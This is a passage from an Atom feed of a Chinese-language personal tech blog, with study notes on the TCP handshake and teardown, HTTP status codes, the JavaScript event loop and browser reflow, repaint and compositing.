</ul><p>TCP提供的是主机对主机的传输，这里的主机 (Host)可以是任何一个可收发数据的设备。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210614143753752.png" alt="image-20210614143753752" /><figcaption>image-20210614143753752</figcaption></figure><p></p><p>TCP之上的协议就是应用到应用的协议，比如两人用微信互相进行聊天，那他们之间应用和应用之间用的就是微信自己的聊天协议。但是想要应用到应用的协议可以工作，首先你得能找到对方的主机，那就得用IP协议，提供地址到地址的通信；你找到这个主机给了数据包还不算完，因为主机接收到数据包不知道哪个应用需要用，所以你需要把这个数据包给到对应应用(微信,原神等等)的端口号中，这就是TCP协议要做的事情；当你把数据(二进制包)给到对应应用中的时候，应用通过协议(HTTP)来解析，最后得到有意义的数据。</p><section><h4>TCP协议的基本操作<a href="#tcp协议的基本操作"><span>#</span></a></h4><ul>
<li>一个Host主动对另一个Host<strong>发起连接</strong>，称为SYN(Synchronization)，请求同步</li>
<li>其中<strong>一个Host主动断开连接</strong>，称为FIN(Finish)，请求完成；</li>
<li>如果一个Host给另一个Host<strong>发送数据</strong>，称为Push(Push)，数据推送</li>
</ul><p>在以上的三种情况，当接收方接受到数据后，都要给发送方一个ACK(Acknowledgement)响应。请求/响应式可靠性的前提。如果一个请求没有响应，那发送方就会认为接收方没收到而重发这个请求。</p></section><section><h4>建立连接（三次握手）<a href="#建立连接三次握手"><span>#</span></a></h4><section><h5>三次握手步骤<a href="#三次握手步骤"><span>#</span></a></h5><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210614231621156.png" alt="image-20210614231621156" /><figcaption>image-20210614231621156</figcaption></figure><p></p><p>为了保证连接的可靠性，TCP协议中每一条发出的数据必须有响应，也就是ACK。</p><ol>
<li>
<p>客户端给服务器发起连接，客户端给服务器发送了SYN包(SYN=i)，进入SYN_SEND状态等待确认。</p>
</li>
<li>
<p>服务器接收到SYN包，确认客户端的SYN，此时ACK=i+1。服务器自己也给客户端发一个SYN包(syn=j)，还有确认后的ACK(i+1)包，这时候服务端进入SYN_RECV状态。</p>
</li>
<li>
<p>客户端收到服务器的SYN+ACK包，向服务器发送确认包ACK(ACK=j+1)，这个包发送完毕后，服务器进入ESTABLISHED状态，完成三次握手。</p>
</li>
</ol></section><section><h5>解析<a href="#解析"><span>#</span></a></h5><ol>
<li>步骤1是第一次握手，第一次握手的时候，客户端给服务器发了一个包，等待服务器的确认。</li>
<li>步骤2是第二次握手，服务器收到了客户端发来的包，然后确定要发的ACK = 客户端发来的SYN+1(i+1)。然后服务器给客户端发了SYN+ACK包，SYN=j ，ACK=i+1。这个代表服务器向客户端方向大喊：“我收到你的信息了，你发能力没问题，你给我发的SYN包，我用ACK在SYN的值上+1给你回复了，我也给你发个SYN包为了确定你的收能力，你要能听到给我回复一个ACK也在我给你发的SYN基础上+1，咱就建立连接”。</li>
<li>步骤3是第三次握手。客户端收到了服务器的SYN包和ACK包，然后给服务器发送ACK=服务器发来的SYN的值+1，这步的意思代表客户端给服务器说：”OK，我知道你的收发能力都没问题了，给你ACK，是在你给我发的SYN基础上+1的，这代表我收能力也没问题，咱连接吧“</li>
</ol><p><strong>脑补的场景</strong></p><p>A：”B，我喜欢你“</p><p>B：”我知道你喜欢我了，其实我也喜欢你“</p><p>A：”收到，我们在一起吧“</p><p>简单说，TCP三次握手连接就是为了确定互相确定客户端和服务器的收发能力没有问题。</p></section></section><section><h4>断开连接过程（四次挥手）<a href="#断开连接过程四次挥手"><span>#</span></a></h4><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210614232427230.png" alt="image-20210614232427230" /><figcaption>image-20210614232427230</figcaption></figure><p></p><ol>
<li>客户端要求断开连接，就发送一个断开连接的请求，也就是FIN。</li>
<li>服务器接收到请求，给客户端发送一个ACK，作为对FIN的回复。</li>
<li>服务器经过一个等待，确定可以关闭连接后，再发一条FIN给客户端。</li>
<li>客户端收到服务器的FIN，客户端处理完自己的事情之后(比如给服务器的信息还没回复ACK)，在这些处理完之后，再给服务器发送一个ACK。</li>
</ol><p>如果按照上面的理解，是否可以2和3步骤合并，把ACK和自己的FIN同时传给客户端呢(参考三次握手的SYN+ACK包)？答案是不行，因为服务端可能还有自己的资源需要释放，或是发送给客户端的消息还没有得到回应，因此和三次握手的主要差别就是ACK+SYN包拆成了先ACK后SYN，然后只是SYN在断开连接的阶段啊是FIN而已。</p><p><strong>脑补的场景</strong></p><p>A：”分手吧，B“</p><p>B：“我知道你想分手了，能不能让我想想”</p><p>----这会估计B在回顾自己这段感情 对应服务器正在处理之前的消息</p><p>B：”好吧，分吧，A“</p><p>----这会A知道B要分了，也开始回顾了= = 对应客户端处理之前的消息</p><p>A：”B，既然你知道了也同意了，分吧“</p></section></section>
<section><h3>TCP 为什么是 3 次握手，4 次挥手？<a href="#tcp-为什么是-3-次握手4-次挥手"><span>#</span></a></h3><p>因为TCP是一个双工协议，建立连接的时候，连接双方都需要向对方发送SYN(同步请求)和ACK(响应)，因为握手阶段双方之间还没啥任务，所以一方向另一方发起SYN的时候，另一方可以直接发ACK-SYN打包成一条消息回复，因此仅需要三次握手-也就是三次数据传输。</p><p>挥手阶段，双方可能都有未完成的任务，所以需要等到一方任务结束后才能接着回复。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/network/http/httpstatus/</id>
      <title type="text">HTTP状态码</title>
      <published>2021-06-12T00:00:00.000Z</published>
      <updated>2021-06-12T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/network/http/httpstatus/"/>
      <summary type="text">首先先明确状态码在哪，是在响应报文的的响应头中的状态行中。</summary>
      <content type="html"><![CDATA[<section><h3>前言<a href="#前言"><span>#</span></a></h3><p>首先先明确状态码在哪，是在响应报文的的响应头中的状态行中。</p><p><code>curl -I</code>+网址 可以获取到响应头</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>curl -I https://www.anblog.top</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>状态行就是画出的蓝色部分</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210612224526175.png" alt="image-20210612224526175" /><figcaption>image-20210612224526175</figcaption></figure><p></p><p>由三个部分组成</p><p>Version，通常是HTTP/1.1</p><p>Status Code&lt;就是主角状态码&gt;，也就是图中的200</p><p>Reason&lt;一些对状态码的简短描述&gt;，比如200就是OK，301就是Moved Permanently，404就是not found等…（目前大多数客户端都会忽略它）</p><p>RFC标准把状态码分为了5类，<strong>状态码的实际可用范围是100~599</strong>.</p><blockquote><p>什么是RFC</p></blockquote><p>大家公认的一种互联网的标准。</p><blockquote><p>什么是状态码</p></blockquote><p>以代码的形式表示服务器对请求的处理结果。</p></section>
<section><h3>HTTP五类状态码的含义<a href="#http五类状态码的含义"><span>#</span></a></h3><ul>
<li>1xx : 提示信息，目前是协议处理的中间状态，还需要后续的操作</li>
<li>2xx : 成功，报文已经收到并被正确处理</li>
<li>3xx : 重定向，资源位置发火生变动，需要客户端重新发送请求</li>
<li>4xx : 客户端错误，请求报文有误，服务器无法处理</li>
<li>5xx : 服务器错误，服务器在处理请求的时候内部出现错误</li>
</ul><section><h4>1xx<a href="#1xx"><span>#</span></a></h4><p>101 Switching Protocols: 客户端使用Upgrade头字段，要求在HTTP协议的基础上改成其他协议继续通信，比如WebSocket，如果服务器也同意变更协议，就会发送状态码101，后续的数据传输就不会使用HTTP了。</p></section><section><h4>2xx<a href="#2xx"><span>#</span></a></h4><p><strong>200 OK</strong> : 代表一切正常，服务器和客户端期望一样返回了处理结果，通常在响应头后都会有body数据。</p><p>204 No Content: 含义与200相同，但是唯一区别是响应头后面没有body数据。</p><p>206 Partial Content: Http分块下载和断点续传的基础，也是服务器处理了请求，但是body中的数据不是资源的全部，是其中的一部分。(206状态码还有一个头字段Content-Range代表body的数据体范围用来和客户端确认，比如<code>Content-Range:bytes 0-99/2000</code>，代表获取的是2000个字节中的前一百个字节)</p></section><section><h4>3xx<a href="#3xx"><span>#</span></a></h4><p><strong>301 Moved Permanently</strong> ：永久重定向，请求的资源已经不存在了，需要用新的URI进行再次访问。</p><p><strong>302 Found</strong> : 临时重定向，代表请求的资源还在，但是暂时需要用另一个URI来访问。</p><p>304 Not Modified :  在请求页面的时候，如果缓存过期了，在HTTP请求头上的带一个If-None-Match的值，并且和上一次访问产生的响应头的etag的值进行对比判断，如果相同，就代表缓存内容没变，就返回的304。</p><blockquote><p>301 302应用场景</p></blockquote><p>当一个网站或者网页24—48小时内临时移动到一个新的位置，这时候就要进行302跳转，打个比方说，我有一套房子，但是最近走亲戚去亲戚家住了，过两天我还回来的。而使用301跳转的场景就是之前的网站因为某种原因需要移除掉，然后要到新的地址访问，是永久性的，就比如你的那套房子其实是租的，现在租期到了，你又在另一个地方找到了房子，之前租的房子不住了。</p><p>301我是用在了跳转HTTPS上，这样访问者就只能访问到你的https网页了。比如你输入<code>http://www.annan.life</code>，然后服务器就会让你重定向到<code>https://www.annan.life</code>。</p></section><section><h4>4xx<a href="#4xx"><span>#</span></a></h4><p>400 Bad Request ：通用的错误码，请求报文有错误，但是错误非常笼统，所以开发web的时候要避免这种笼统的状态码，而应该是有明确含义的状态码。</p><p>403 Forbidden : 服务器禁止你访问资源，有的会把原因写在返回的body中，更多的情况就是什么都没有，就一个403。</p><p>404 Not Found : 源在本服务器上未找到，所以没法给客户端，根据404你很难判断问题出在哪里。</p><p>405 Method Not Allowed ：不允许使用某些方法操作资源，例如不允许POST只能GET。</p><p>406 Not Acceptable：资源无法满足客户端请求的条件，例如请求中文但只有英文；</p><p>408 Request Timeout：请求超时，服务器等待了过长的时间；</p><p>409 Conflict：多个请求发生了冲突，可以理解为多线程并发时的竞态；</p><p>413 Request Entity Too Large：请求报文里的 body 太大；</p><p>414 Request-URI Too Long：请求行里的 URI 太大；</p><p>429 Too Many Requests：客户端发送了太多的请求，通常是由于服务器的限连策略；</p><p>431 Request Header Fields Too Large：请求头某个字段或总体太大；</p></section><section><h4>5xx<a href="#5xx"><span>#</span></a></h4><p>5xx类状态码表示客户端请求报文正确，但服务器在处理时内部发生了错误，无法返回应有的响应数据，是服务器端的“错误码”。</p><p>“500 Internal Server Error”与 400 类似，也是一个通用的错误码，服务器究竟发生了什么错误我们是不知道的。不过对于服务器来说这应该算是好事，通常不应该把服务器内部的详细信息，例如出错的函数调用栈告诉外界。虽然不利于调试，但能够防止黑客的窥探或者分析。</p><p>“501 Not Implemented”表示客户端请求的功能还不支持，以后可能会支持，但是具体什么时间不知道。</p><p>“502 Bad Gateway”通常是服务器作为网关或者代理时返回的错误码，表示服务器自身工作正常，访问后端服务器时发生了错误，但具体的错误原因也是不知道的。</p><p>“503 Service Unavailable”表示服务器当前很忙，暂时无法响应服务，我们上网时有时候遇到的“网络服务正忙，请稍后重试”的提示信息就是状态码 503。503 是一个“临时”的状态，很可能过几秒钟后服务器就不那么忙了，可以继续提供服务，所以 503 响应报文里通常还会有一个“Retry-After”字段，指示客户端可以在多久以后再次尝试发送请求。</p></section></section>
<section><h3>总结<a href="#总结"><span>#</span></a></h3><ol>
<li>
<p>在web开发中，能明确的状态码尽量明确给出。</p>
</li>
<li>
<p>收到错误码的时候最好是有一个弹窗或者是页面来表示，内容是返回的body中的json数据里的msg字段。</p>
</li>
</ol><blockquote><p>为什么要做重定向?</p></blockquote><p>1）网站调整（如改变网页目录结构）；</p><p>2）网页被移到一个新地址；</p><p>3）网页扩展名改变(如应用需要把.php改成.Html或.shtml)。</p><p>​    这种情况下，如果不做重定向，则用户收藏夹或搜索引擎数据库中旧地址只能让访问客户得到一个404页面错误信息，访问流量白白丧失；再者某些注册了多个域名的网站，也需要通过重定向让访问这些域名的用户自动跳转到主站点等。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/event-loop/</id>
      <title type="text">事件循环</title>
      <published>2021-06-08T00:00:00.000Z</published>
      <updated>2021-06-08T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/event-loop/"/>
      <summary type="text">从调用栈、Web APIs 和回调队列理解 JavaScript 的事件循环。</summary>
      <content type="html"><![CDATA[<p>V8是Chrome里的JavaScript运行环境 (runtime)</p>
<p>JavaScript是一个单线程,非阻塞,异步,解释性语言.</p>
<p>有调用栈(call stack),事件循环(event loop),回调队列(callback queue),一些其他的API.</p>
<p>JavaScript的运行环境示意图,堆(heap)记录了内存的分配(memory allocation),调用栈(stack)里是执行上下文(execution contexts)</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210318152528512.png" alt="image-20210318152528512" /><figcaption>image-20210318152528512</figcaption></figure><p></p>
<p><strong>setTimeout,DOM,HTTP请求</strong>这些东西他们并不在V8源码中,这些是异步编程首先考虑要使用的东西</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210318153650494.png" alt="image-20210318153650494" /><figcaption>image-20210318153650494</figcaption></figure><p></p>
<p>webAPIs: DOM,AJAX,setTimeout…</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210318153755980.png" alt="image-20210318153755980" /><figcaption>image-20210318153755980</figcaption></figure><p></p>
<section><h3>线程==调用栈==一次只做一件事<a href="#线程调用栈一次只做一件事"><span>#</span></a></h3><section><h4>案例1-进入函数，函数就入栈，return函数函数就出栈<a href="#案例1-进入函数函数就入栈return函数函数就出栈"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function multiply(a,b) {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>return a * b;</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>function square(n) {</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>return multiply(n,n);</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span>function printSquare(n) {</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>var squared = square(n);</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>console.log(squared);</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div><div><div><div>11</div></div><div><span>printSquare(4);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>当进入某个函数的时候,这个函数就会被放在栈中,当return离开这个函数的时候这时函数就会被弹出栈外</strong></p><section><h5>调用栈工作过程<a href="#调用栈工作过程"><span>#</span></a></h5><p>当你运行这个文件的时候,会有一个类似main的函数,它代表文件本身,先将它放入栈中,紧接着是printSquared(4),然后是square(n),multiply(n,n)
</p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210318163848350.png" alt="image-20210318163848350" /><figcaption>image-20210318163848350</figcaption></figure><p></p><p>出栈,先按顺序依次弹出,当进入printSquare(4)的时候将console.log(squared)压入栈中,然后再依次弹出,直到空栈结束.</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210318164335344.png" alt="image-20210318164335344" /><figcaption>image-20210318164335344</figcaption></figure><p></p></section></section><section><h4>案例2 - 被依赖的函数后入栈，后入先出<a href="#案例2---被依赖的函数后入栈后入先出"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function foo() {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>throw new Error('Oops!');</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>function bar() {</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>foo();</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span>function baz() {</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>bar();</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div><div><div><div>10</div></div><div><span>baz();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>输入控制台返回结果</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210318173933449.png" alt="image-20210318173933449" /><figcaption>image-20210318173933449</figcaption></figure><p></p><p>baz函数调用了bar函数,bar函数调用了foo函数.foo函数抛出了一个错误.
打印出了整个栈树包括匿名函数(也就是main()函数),被依赖的是后进入调用栈的,后入先出，baz依赖bar,bar依赖foo，所以进入调用栈的顺序是baz,bar,foo，出的时候就是foo,bar,baz.</p></section><section><h4>案例3 - 疯狂的自调用导致内存泄漏<a href="#案例3---疯狂的自调用导致内存泄漏"><span>#</span></a></h4><p>如果有一个疯狂调用自身的函数</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function foo(){</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>return foo();</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>foo();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>结果</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210319084459923.png" alt="image-20210319084459923" /><figcaption>image-20210319084459923</figcaption></figure><p></p></section></section>
<section><h3>什么让程序变慢?-异步<a href="#什么让程序变慢-异步"><span>#</span></a></h3><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210319084645843.png" alt="image-20210319084645843" /><figcaption>image-20210319084645843</figcaption></figure><p></p><p>谈谈阻塞,没有严格的定义说什么是阻塞,什么不是阻塞,主要就是程序运行的比较慢.比如说cosole.log不慢,遍历1到10亿很慢,请求网络很慢.总之,在栈内表现很慢的东西都叫阻塞.
例子 jQuery的AJAX请求问题
伪代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var foo = $.getSync("//foo.com");</span></div></div><div><div><div>2</div></div><div><span>var bar = $.getSync("//bar.com");</span></div></div><div><div><div>3</div></div><div><span>var qux = $.getSync("//qux.com");</span></div></div><div><div><div>4</div></div><div><span>console.log(foo)</span></div></div><div><div><div>5</div></div><div><span>console.log(bar)</span></div></div><div><div><div>6</div></div><div><span>console.log(baz)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果没给AJAX请求加上回调函数,它们是会同步的.
请求一次,就是等待一次(网络请求),将所有的都跑一遍,程序才最终结束
</p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/image-20210322074612849.png" alt="image-20210322074612849" /><figcaption>image-20210322074612849</figcaption></figure>
因为<strong>JavaScript是单线程的语言,如果这样做的话就容易导致一个问题,就是阻塞(原因是网络请求的等待时间比较长),用户没办法很快的看到渲染后的界面.</strong><p></p><p>所以我们应该如何做呢?最简单的方式就是提供异步回调</p><section><h4>setTimeout案例<a href="#settimeout案例"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>console.log('Hi');</span></div></div><div><div><div>2</div></div><div><span>setTimeout(function(){</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console.log('There')</span></div></div><div><div><div>4</div></div><div><span>},5000)</span></div></div><div><div><div>5</div></div><div><span>console.log('JSConfEU');</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>按照之前的理解，那就是依次去执行，为何There神奇的在5秒后出现在了栈里面呢？</p><p>这就是Concurrency&amp;Event Loop并发性和事件循环，虽然javascript是单线程的，但是浏览器是多线程的，提供了很多api去供你调用，</p><p><strong>就像setTimeout其实并不存在于V8引擎(也就是运行环境)中,而是浏览器提供的API中的</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>"我是一个同步任务"</span><span>)</span></div></div><div><div><div>2</div></div><div><span>setTimeout</span><span>(</span><span>function</span><span><span>(){</span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>"等到api运行结束，我就从task queue中被推到栈中执行。"</span><span>)},</span><span>5000</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>首先调用栈执行了<code>console.log("我是一个同步任务")</code> 输出我是一个同步任务</p><p>然后调用栈只剩main()，setTimeout进入调用栈，setTimeout运行后被弹出,调用了浏览器的api(timer),当计时结束后,回调函数进入task queue(任务队列)</p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608204816129.png" alt="image-20210608204816129" /><p>等到调用栈空的时候(也就是说同步任务执行完毕),task queue的任务就会被push到调用栈中,调用栈运行回调函数.</p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608204920325.png" alt="image-20210608204920325" /><p>所有的web API的工作方式是相同的,如果我们有一个AJAX请求,用一个回调的URL,工作原理相同</p><blockquote><p>这里你可能想问, 那么setTimeout(function,0)是什么情况呢</p></blockquote><p>webapi的setTimeout刚计时就直接被放到task queue中了，这样只要调用栈一空，就可以直接执行。</p><blockquote><p>setTimeout并不是说到了你设定的时间就会执行，前提条件是你的调用栈中的任务已经空了。</p></blockquote><p>比如说你有几个等待一秒就执行的函数，那么最后一个函数执行的时候已经超过1秒了，这里的一秒是你最快一秒，同步代码执行的时间是不算在其中的，还有task queue排队的时间。也就是说后面的等待一秒执行的函数首先一样的进入webapi开始等一秒，然后进入task queue等待调用栈空并且轮到自己，然后才能运行代码。</p><p>结论就是 你最终执行完成的时间 = 同步代码执行到这段函数的时间+webapi的倒计时一秒(你设定的那个时间)+task queue的排队时间(也就是前面队伍push到调用栈然后执行的时间和)+当前函数的执行时间。这个应该是大于一秒的。</p></section><section><h4>异步请求的案例<a href="#异步请求的案例"><span>#</span></a></h4><p>伪代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>console.log("Hi")</span></div></div><div><div><div>2</div></div><div><span>$.get('url',function(){</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console.log(data)</span></div></div><div><div><div>4</div></div><div><span>})</span></div></div><div><div><div>5</div></div><div><span>console.log("JSconf")</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>console.log("Hi")</code> 被放到调用栈中，执行后被弹出</p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608190717321.png" alt="image-20210608190717321" /><p>异步请求进入调用栈</p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608191403790.png" alt="image-20210608191403790" /><p>在webApi中加载XHR异步请求 在调用栈中弹出异步请求</p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608202619091.png" alt="image-20210608202619091" /><p>这时候调用栈空了，接着执行<code>console.log("JSconf")</code></p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608202908769.png" alt="image-20210608202908769" /><p>执行后弹出，异步请求有可能一直都结束不了，也可能就结束了，结束后<code>cb</code>就会进入task queue，当<code>console.log("JSconf")</code></p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608203436789.png" alt="image-20210608203436789" /><p>当调用栈空了之后，就把<code>cb</code>推到调用栈中，然后执行里面的方法 console.log(data)</p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608204045060.png" alt="image-20210608204045060" /><p>最后栈空，结束</p></section><section><h4>DOM案例<a href="#dom案例"><span>#</span></a></h4><p>代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$.on('button','click',function(){</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>console.log('clicked')</span></div></div><div><div><div>3</div></div><div><span>})</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>执行代码之后，调用了Webapi ，然后每点击一次就会把函数到task queue中去排队，然后推入栈中；栈中每执行完空一次，task queue就把排队中的task再推一个进去，直到全部调用栈空，task queue也空了。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210608222158438.png" alt="image-20210608222158438" /><figcaption>image-20210608222158438</figcaption></figure><p></p></section></section>
<section><h3>总结<a href="#总结"><span>#</span></a></h3><p>通过以上可以发现，setTimeout ， DOM ， 包括异步请求是一个新的小组，只要进了api小组里(开始调用webapi时)他们可以开始执行了，不需要像一个个挨个排队，谁先执行完谁就去task queue ，到了task queue就跟排队一样了，哪个先结束就先进task queue，同时也代表会先被执行。</p><p>Render Queue 和 Callback Queue</p><p>渲染比回调函数有更高的优先级,每16毫秒它就要</p><p>如果渲染被阻塞,你不能再屏幕上选择文本,你不能点击东西看到响应</p><p>文章主要参考Philip Roberts：<a href="https://www.youtube.com/watch?v=8aGhZQkoFbQ" target="_blank">What the heck is the event loop anyway? | Philip Roberts | JSConf EU - YouTube</a></p><p><a href="https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/" target="_blank">https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/</a></p><p><strong>宏任务是开会分配的工作内容，微任务是工作过程中被临时安排的内容</strong></p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/browser/chonghuichongpai/</id>
      <title type="text">重绘、重排、合成</title>
      <published>2021-06-07T00:00:00.000Z</published>
      <updated>2021-06-07T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/browser/chonghuichongpai/"/>
      <summary type="text">三个和渲染流水线相关的概念——“重排”“重绘”和“合成”。理解了这三个概念对于你后续 Web 的性能优化会有很大帮助。</summary>
      <content type="html"><![CDATA[<p>三个和渲染流水线相关的概念——“重排”“重绘”和“合成”。理解了这三个概念对于你后续 Web 的性能优化会有很大帮助。</p>
<ol>
<li>
<p>更新了元素的几何属性（重排）</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/b3ed565230fe4f5c1886304a8ff754e5.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
<p>从上图可以看出，如果你通过 JavaScript 或者 CSS 修改元素的几何位置属性，例如改变元素的宽度、高度等，<strong>当我们改变一个元素的尺寸位置属性时，会重新进行样式计算(Computed Style),布局(Layout),绘制(Paint)以及后面的所有流程，这种行为我们称为重排无疑，重排需要更新完整的渲染流水线，所以资源开销也是最大的</strong>。</p>
</li>
<li>
<p>更新元素的绘制属性（重绘）</p>
<p>接下来，我们再来看看重绘，比如通过 JavaScript 更改某些元素的背景颜色，渲染流水线会怎样调整呢？</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/3c1b7310648cccbf6aa4a42ad0202b03.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
<p>从图中可以看出，<strong>当我们改变某个元素的颜色属性时，不会重新触发布局，但还是会触发样式计算和绘制，这个就是重绘。相较于重排操作，重绘省去了布局和分层阶段，所以执行效率会比重排操作要高一些</strong>。</p>
</li>
<li>
<p>直接合成阶段</p>
<p>那<strong>如果你更改一个既不要布局也不要绘制的属性，会发生什么变化呢？渲染引擎将跳过布局和绘制，只执行后续的合成操作，我们把这个过程叫做合成</strong>。具体流程参考下图：</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/024bf6c83b8146d267f476555d953a2c.png" alt="img" /><figcaption>img</figcaption></figure><p></p>
<p>在上图中，我们<strong>使用了 CSS 的 transform 来实现动画效果，这可以避开重排和重绘阶段，直接在非主线程上执行合成动画操作。这样的效率是最高的，因为是在非主线程上合成，并没有占用主线程的资源，另外也避开了布局和绘制两个子阶段，所以相对于重绘和重排，合成能大大提升绘制效率</strong>。</p>
<section><h2>总结：<a href="#总结"><span>#</span></a></h2><p>重排和重绘都会占用主线程。还有一个东西也在主线程上运行，就是 JS，如果他们都在主线程上，就会出现抢占执行时间的问题，如果你写了一个不断导致重排重绘的动画，浏览器则需要在每一帧都运行样式计算布局和绘制的操作。</p><p>当页面以每秒 60 帧的刷新率时才不会让用户感觉到页面卡顿，如果你再运行动画时还有大量的 JS 任务需要执行，因为布局，绘制和 JS 的执行都是在主线程上执行。当在一帧的事件内布局和绘制结束后，如果还有剩余时间，JS 就会拿到主线程的使用权，如果 JS 执行时间过长，就会导致在下一帧开始 JS 没有及时归还主线程，导致下一帧动画没有按时渲染，就会出现页面动画的卡顿。</p><blockquote><p>优化手段是什么？</p></blockquote><p>第一种是通过 requestAnimationFrame()这个方法会在每一帧被调用，通过 API 的回调，然后我们可以把 JS 的运行任务分成一些更小的任务块(分到每一帧)，在每一帧时间用完前暂停 JS 执行，归还主线程，这样的话在下一帧开始的时候，主线程就可以按时进行布局和绘制。React 最新的引擎 React Fiber 就是用到了这个 api 来做了很多优化。</p><p>第二种方法，我们可以知道栅格化的整个流程是不占用主线程的，只在合成器线程和栅格线程中运行，这意味着它不需要和 JS 抢夺主线程，不断的重绘和重排可能会导致掉帧，是因为 JS 执行阻塞了主线程，而 CSS 中有个动画属性叫 Trasform，通过该属性实现的动画不会经过布局和绘制，而是直接运行在合成器线程和栅格化线程，所以不会受到主线程中 JS 的影响，更重要的是通过 transform 实现的动画由于不需要经过布局绘制，样式计算等操作，所以节省了很多运算时间(方便实现负责的动画)，我们常常会使用哪些手续来实现动画效果呢？位置变化，宽高变化(旋转，3D 等)，这些都是可以使用 transform 来代替的。</p></section>
</li>
</ol>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/browser/browser-url/</id>
